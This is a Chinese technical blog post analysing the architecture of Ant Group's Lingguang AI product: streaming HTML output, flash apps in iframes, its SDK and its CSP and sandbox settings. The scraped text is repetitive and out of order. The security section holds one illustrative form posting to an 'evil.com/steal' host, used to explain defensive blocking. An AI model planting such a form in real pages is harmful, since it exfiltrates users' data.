灵光技术方案剖析
灵光技术方案剖析
灵光技术方案剖析 灵光技术方案剖析 Modified January 16 Code block Plain Text const data = await lingguang.data.fetch( "A股行业板块近5日板块轮动热力图数据，返回10个主要板块", { type: "object", properties: { heatmap: { type: "array", description: "热力图数据", items: { type: "object", properties: { sector: { type: "string", description: "板块名称" }, day1: { type: "number", description: "第1天涨跌幅(%)" }, day2: { type: "number", description: "第2天涨跌幅(%)" }, day3: { type: "number", description: "第3天涨跌幅(%)" }, day4: { type: "number", description: "第4天涨跌幅(%)" }, day5: { type: "number", description: "第5天涨跌幅(%)" } } } }, updateTime: { type: "string", description: "数据更新时间" } } } ); 返回数据示例: Code block Plain Text { "heatmap": [ { "sector": "半导体", "day1": 2.3, "day2": 0.5, "day3": 1.8, "day4": 0.2, "day5": 1.2 }, { "sector": "新能源车", "day1": 1.2, "day2": 3.1, "day3": 0.5, "day4": 0.8, "day5": 2.1 }, { "sector": "消费电子", "day1": 0.8, "day2": 1.2, "day3": 2.1, "day4": 0.9, "day5": 0.3 } ], "updateTime": "2026 01 14 15:00:00" } 万能查询接口的实现 这样一个神奇的接口，必定是一个 Agent 驱动的接口，根据需求进行网络搜索和查询，再将查询结果整理为需要的结构化数据。 推测该 Agent 内部对接了蚂蚁相当一部分的接口，此外最核心的应当是一个 Fast Research 能力，可以通过 GeneralSearch 工具检索信息，并通过 Fetch 快速爬取网页内容，渲染 JS 内容，并交给 LLM 进行提炼总结。 通信机制 轻应用（iframe)与宿主之间的通信通过 CandyJar 协议实现，具体这是个什么协议没有查到，推测是自己开发的，总之是一个类似于 JsBridge 的通信机制。 这个协议具体就不详细展开了，这个协议最主要的作用是跨端支持，灵光生成的轻应用，可以在千问 App 中使用，也可以在Web 端灵光中使用，提供一个统一的能力调用机制。 安全策略 CSP（Content Security Policy） 完整 CSP 配置： Code block Plain Text <meta http equiv="Content Security Policy" content=" default src 'self'; script src 'self' 'unsafe inline' 'unsafe eval' https:// .alipay.com https:// .alipayobjects.com; style src 'self' 'unsafe inline' https://fonts.googleapis.com; img src 'self' data: blob: https:// .alipay.com https:// .alipayobjects.com https:// .amap.com https:// .lingguang.com; font src 'self' https://fonts.gstatic.com; connect src 'self' https:// .alipay.com https:// .alipayobjects.com https:// .lingguang.com; media src 'self' https:// .alipay.com; frame src 'self' https:// .alipay.com; form action 'none'; base uri 'self'; object src 'none'; " 白名单域名 域名 用途 .alipay.com 支付宝核心域名 .alipayobjects.com 静态资源 CDN .amap.com 高德地图 .lingguang.com 灵光服务 fonts.googleapis.com Google Fonts fonts.gstatic.com Google Fonts 资源 form action: none 禁止表单提交，防止数据外泄： Code block Plain Text <form action="https://evil.com/steal" method="post" <! 即使有这样的表单也无法提交 </form iframe sandbox 属性 Code block Plain Text <iframe sandbox=" allow scripts allow same origin allow popups allow modals " src="..." </iframe sandbox 限制说明： 权限 说明 allow scripts 允许执行 JS allow same origin 允许同源请求 allow popups 允许弹窗 allow modals 允许模态框 无 allow forms 禁止表单提交 无 allow top navigation 禁止导航顶层页面 多层安全机制 小结 灵光的技术方案还是比较面向未来的，生成式 UI，或者说闪应用是未来 Agent 时代的主要交互方式，万能查询接口同样应当是未来主流的平台接口形态，可以感受到团队对于 Agent 的理解比较深刻。 alipay.com alipayobjects.com amap.com lingguang.com fonts.googleapis.com fonts.gstatic.com 返回数据示例: 万能查询接口的实现 这样一个神奇的接口，必定是一个 Agent 驱动的接口，根据需求进行网络搜索和查询，再将查询结果整理为需要的结构化数据。 推测该 Agent 内部对接了蚂蚁相当一部分的接口，此外最核心的应当是一个 Fast Research 能力，可以通过 GeneralSearch 工具检索信息，并通过 Fetch 快速爬取网页内容，渲染 JS 内容，并交给 LLM 进行提炼总结。 通信机制 轻应用（iframe)与宿主之间的通信通过 CandyJar 协议实现，具体这是个什么协议没有查到，推测是自己开发的，总之是一个类似于 JsBridge 的通信机制。 这个协议具体就不详细展开了，这个协议最主要的作用是跨端支持，灵光生成的轻应用，可以在千问 App 中使用，也可以在Web 端灵光中使用，提供一个统一的能力调用机制。 安全策略 CSP（Content Security Policy） 完整 CSP 配置： 白名单域名 域名 用途 .alipay.com 支付宝核心域名 .alipayobjects.com 静态资源 CDN .amap.com 高德地图 .lingguang.com 灵光服务 fonts.googleapis.com Google Fonts fonts.gstatic.com Google Fonts 资源 alipay.com alipayobjects.com amap.com lingguang.com fonts.googleapis.com fonts.gstatic.com 域名 域名 用途 用途 .alipay.com alipay.com .alipay.com alipay.com 支付宝核心域名 支付宝核心域名 .alipayobjects.com alipayobjects.com .alipayobjects.com alipayobjects.com 静态资源 CDN 静态资源 CDN .amap.com amap.com .amap.com amap.com 高德地图 高德地图 .lingguang.com lingguang.com .lingguang.com lingguang.com 灵光服务 灵光服务 fonts.googleapis.com fonts.googleapis.com fonts.googleapis.com fonts.googleapis.com Google Fonts Google Fonts fonts.gstatic.com fonts.gstatic.com fonts.gstatic.com fonts.gstatic.com Google Fonts 资源 Google Fonts 资源 form action: none 禁止表单提交，防止数据外泄： iframe sandbox 属性 sandbox 限制说明： 权限 说明 allow scripts 允许执行 JS allow same origin 允许同源请求 allow popups 允许弹窗 allow modals 允许模态框 无 allow forms 禁止表单提交 无 allow top navigation 禁止导航顶层页面 权限 权限 说明 说明 allow scripts allow scripts 允许执行 JS 允许执行 JS allow same origin allow same origin 允许同源请求 允许同源请求 allow popups allow popups 允许弹窗 允许弹窗 allow modals allow modals 允许模态框 允许模态框 无 allow forms 无 allow forms 禁止表单提交 禁止表单提交 无 allow top navigation 无 allow top navigation 禁止导航顶层页面 禁止导航顶层页面 多层安全机制 小结 灵光的技术方案还是比较面向未来的，生成式 UI，或者说闪应用是未来 Agent 时代的主要交互方式，万能查询接口同样应当是未来主流的平台接口形态，可以感受到团队对于 Agent 的理解比较深刻。 🔗 原文链接： https://mp.weixin.qq.com/s/IrR6ZhZQ... https://mp.weixin.qq.com/s/IrR6ZhZQ... 原创 相变时刻 相变时刻 相变时刻2026年1月15日 17:28 北京 灵光技术方案剖析 灵光是蚂蚁集团推出的 AI 产品，30 秒生成“闪应用”，支持 3D、音频、图标、动画、地图等全模态信息输出，其形态在市面上还是比较独特的。 我们通过观察灵光 App 行为，输出时的思考过程， 简单抓一下接口 ，来简单分析一下灵光的技术方案。 概览 整体上，灵光回答问题时，会先进行网络搜索，收集一批信息，随后模型开始生成全模态（HTML）的回复，或者按需生成一个“闪应用”。闪应用在页面中被渲染后，会根据应用需求，进行数据请求等操作。 流式全模态生成 一般的大模型应用输出都是纯文字，或者是 Markdown 格式的内容，想要展示更丰富的内容，一般有两个方案：HTML 输出和 支持插件的 Markdown 渲染器。 HTML 输出方式很好理解，模型直接输出代码，前端渲染，天然就带丰富的样式，甚至可以模型输出一些 JS 逻辑，生成的内容可以交互。当然这种方案一般也会有一个组件库/样式库，不会完全让模型从头输出，这样整体的样式也比较统一，相对也安全一些。 模型的输出应当视为不可信的，在攻击者够早的提示词下，模型是有可能输出危险内容和代码 而 Markdown 渲染器则需要额外开发，整体而言是扩充 Markdown 的语法，比如让他支持图标的渲染，需要自行解析语法，并进行渲染。这块也有一些开源的方案，比如 Ant Design X Markdown 方案 原理 优势 劣势 HTML 直出 模型直接输出 HTML + CSS + JS 样式完全可控，支持交互 安全风险需要额外处理 扩展 Markdown 扩充语法，自定义渲染 更安全，兼容性好 表达能力有限 方案 方案 原理 原理 优势 优势 劣势 劣势 HTML 直出 HTML 直出 模型直接输出 HTML + CSS + JS 模型直接输出 HTML + CSS + JS 样式完全可控，支持交互 样式完全可控，支持交互 安全风险需要额外处理 安全风险需要额外处理 扩展 Markdown 扩展 Markdown 扩充语法，自定义渲染 扩充语法，自定义渲染 更安全，兼容性好 更安全，兼容性好 表达能力有限 表达能力有限 灵光应当是采用了直接输出 HTML 的方案，一个典型的流式输出片段如下： 整体的渲染流程就是不断接受流式返回的 HTML 片段，触发渲染： 组件化渲染 输出的HTML 中通过 component type 属性标识组件类型： 组件类型 component type 说明 图片 image 异步加载图片 图表 echarts ECharts 图表 视频 video 视频播放器 组件类型 组件类型 component type component type 说明 说明 图片 图片 image image 异步加载图片 异步加载图片 图表 图表 echarts echarts ECharts 图表 ECharts 图表 视频 视频 video video 视频播放器 视频播放器 同时页面的 JS 运行环境中，内置 ComponentRegistry 和 componentMonitor ： 组件注册时的状态，会通过页面中的卡片展示： 图片组件 HTML 结构： 加载流程： 错误处理： 图表组件（ECharts） HTML 结构： JS 渲染逻辑： 视频组件 视频组件有白名单限制： 样式与主题 TailWind 提供样式变量，根据复杂程度，模型可以选择直接使用变量，或者是自行编写。 闪应用 闪应用是灵光比较特色的能力之一，能够根据用户需求实时生成一个 Web 应用。 这个应用是一个纯前端应用，不涉及到后端，相关的一些数据查询、存储都是由灵光主应用提供了相关能力，闪应用通过类似于JsBridge 的方式进行调用。 触发机制（推测） 回复用户需求时，会视情况调用 generate flash app 工具来生成闪应用，工具的输入就是一段自然语言描述的创建应用需求，工具立刻返回一个闪应用 ID，随后后台启动另一个 Agent 生成闪应用。 生成回复时，模型先在流式返回的 HTML 中渲染占位容器，随后由前端追踪闪应用生成状态，等待应用生成完成后，以 iframe 的方式加载闪应用。 示例：流式 HTML 中返回触发脚本 闪应用架构 闪应用自身又分为两层，最内部是直接由大模型生成的应用本身，这部分会根据不同的需求有不同的结果，外层是一层通用的基础能力，提供了一些常用能力的封装（base.js)、React 运行时、Tailwind 样式等等。最终整体会被嵌入到 iframe（浏览器侧） 中展现。 运行时SDK（base.js) 该 SDK 可以认为是一层薄薄的后端，封装了一组基础能力提供给闪应用使用，宣传中闪应用的各种能力在这里都有体现。 能力域 API 说明 存储 lingguang.storage.setItem(key, value) 设置存储 存储 lingguang.storage.getItem(key) 获取存储 存储 lingguang.storage.removeItem(key) 删除存储 存储 lingguang.storage.clear() 清空存储 数据 lingguang.data.fetch(query, schema) 自然语言查询数据 AI lingguang.ai.imageGeneration(options) AI 图片生成 多媒体 lingguang.chooseImage(options) 选择图片 多媒体 lingguang.takePhoto() 拍照 多媒体 lingguang.uploadImage(localPath) 上传图片 能力域 能力域 API API 说明 说明 存储 存储 lingguang.storage.setItem(key, value) lingguang.storage.setItem(key, value) 设置存储 设置存储 存储 存储 lingguang.storage.getItem(key) lingguang.storage.getItem(key) 获取存储 获取存储 存储 存储 lingguang.storage.removeItem(key) lingguang.storage.removeItem(key) 删除存储 删除存储 存储 存储 lingguang.storage.clear() lingguang.storage.clear() 清空存储 清空存储 数据 数据 lingguang.data.fetch(query, schema) lingguang.data.fetch(query, schema) 自然语言查询数据 自然语言查询数据 AI AI lingguang.ai.imageGeneration(options) lingguang.ai.imageGeneration(options) AI 图片生成 AI 图片生成 多媒体 多媒体 lingguang.chooseImage(options) lingguang.chooseImage(options) 选择图片 选择图片 多媒体 多媒体 lingguang.takePhoto() lingguang.takePhoto() 拍照 拍照 多媒体 多媒体 lingguang.uploadImage(localPath) lingguang.uploadImage(localPath) 上传图片 上传图片 定位 lingguang.getLocation(options) 获取位置 语音 lingguang.playTTS(options) 语音播报 语音 lingguang.stopAllTTS() 停止播报 地图 lingguang.loadMap(options) 加载地图 埋点 lingguang.tracker.click(event, params) 点击埋点 埋点 lingguang.tracker.exposure(event, params) 曝光埋点 存储相关的，会将数据存储到服务端，算是一个简易的数据存储服务吧，不可用的情况下，会降级为 localStorage。 数据查询是最重要的能力，这个稍后解析。 其余也都是一些基础能力的封装，不过多赘述。 数据获取机制 这是闪应用最核心的 API，是通过自然语言获取结构化数据，我称之为万能查询接口： • query ：自然语言描述的数据需求 • schema ：JSON Schema，定义期望的返回结构 闪应用中可以通过该 API 获取任意数据。只需要通过自然语言描述你需要获得什么样的数据，以及要求返回的数据格式即可。 这跟我们以往的方案有很大不同：先前往往是先准备好数据以及对应的数据结构，然后再让大模型基于此生成应用，这就导致这是一个先后依赖关系，效率上就不高，其次你也无法保证你提供的数据结构是满足需求的。 而通过这个万能查询接口，你可以根据自己的需求，直接申请对应的数据结构和数据。 示例